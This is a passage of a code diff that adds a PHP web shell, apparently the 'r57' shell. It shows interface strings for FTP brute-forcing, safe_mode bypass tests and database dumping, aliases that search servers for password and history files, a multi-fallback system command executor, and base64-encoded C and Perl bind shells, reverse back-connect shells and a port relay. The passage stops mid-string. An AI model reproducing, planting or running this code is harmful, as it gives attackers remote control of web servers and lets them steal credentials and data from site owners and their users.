+'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Table', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text77'=>'Show database structure', +'eng_text78'=>'show tables', +'eng_text79'=>'show columns', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "
    :: "; +$table_up2 = " ::
    "; +$table_up3 = ""; +$arrow = " ?"; +$lb = "["; +$rb = "]"; +$font = ""; +$ts = "
    "; +$table_end1 = "
    "; +$te = "
    "; +$fs = "
    "; +$fe = "
    "; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "
    ".$lang[$language.'_text96']."
    "; } + else + { + echo '
    '; + foreach($users as $user) { echo $user."
    "; } + echo '
    '; + } + echo "
    [ BACK ]
    "; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$windows = 0; +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $windows = 1; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= ""; + foreach($res as $file=>$v) + { + $r .= ""; + $r .= ""; + foreach($v as $a=>$b) + { + $r .= ""; + $r .= ""; + $r .= ""; + $r .= "\n"; + } + } + $r .= "
    ".ws(3); + $r .= ($windows)? str_replace("/","\\",$file) : $file; + $r .= ""; + $r .= "
    ".$a."".ws(2).$b."
    "; + echo $r; + } + else + { + echo "

    ".$lang[$language.'_text56']."

    "; + } + echo "
    [ BACK ]
    "; + die(); + } +if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat(" ",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function we($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; } +else { $text = "[-] ERROR! Can't write in file "; } +echo "
    ".$text.$i."
    "; +return null; +} +function re($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; } +else { $text = "[-] ERROR! Can't read file "; } +echo "
    ".$text.$i."
    "; +return null; +} +function ce($i) +{ +if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; } +else { $text = "Can't create "; } +echo "
    ".$text.$i."
    "; +return null; +} +function fe($l,$n) +{ +$text['ru'] = array('?? ??????? ???????????? ? ftp ???????','?????? ??????????? ?? ftp ???????','?? ??????? ???????? ?????????? ?? ftp ???????'); +$text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server'); +echo "
    ".$text[$l][$n]."
    "; +return null; +} +function mr($l,$n) +{ +$text['ru'] = array('?? ??????? ????????? ??????','?????? ??????????'); +$text['eng'] = array('Can\'t send mail','Mail sent'); +echo "
    ".$text[$l][$n]."
    "; +return null; +} +function perms($mode) +{ +if ($GLOBALS['windows']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value) +{ + $ret = ""; + return $ret; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or we($fname); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "".$t1."".$t2.""; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} +function DirFiles($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (FALSE !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(!is_dir($dir."/".$file)) + { + if($types) + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,@explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirFilesWide($dir) + { + $files = Array(); + $dirs = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + $file = @strtoupper($file); + $dirs[$file] = '<DIR>'; + } + else + $files[$file] = @filesize($dir."/".$file); + } + } + @closedir($handle); + @ksort($dirs); + @ksort($files); + $files = @array_merge($dirs,$files); + } + return $files; + } + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirPrintHTMLHeaders($dir) + { + $pockets = ''; + $handle = @opendir($dir) or die("Can't open directory $dir"); + echo "
      \n"; + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + echo "
    • [ $file ]
    • \n"; + DirPrintHTMLHeaders($dir."/".$file); + } + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,array('.htm','.html'))) + { + $header = '-=None=-'; + $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file); + for($a=0;$a".$header."\n"; + } + } + } + } + echo "
    \n"; + @closedir($handle); + } + + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"\\1",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG 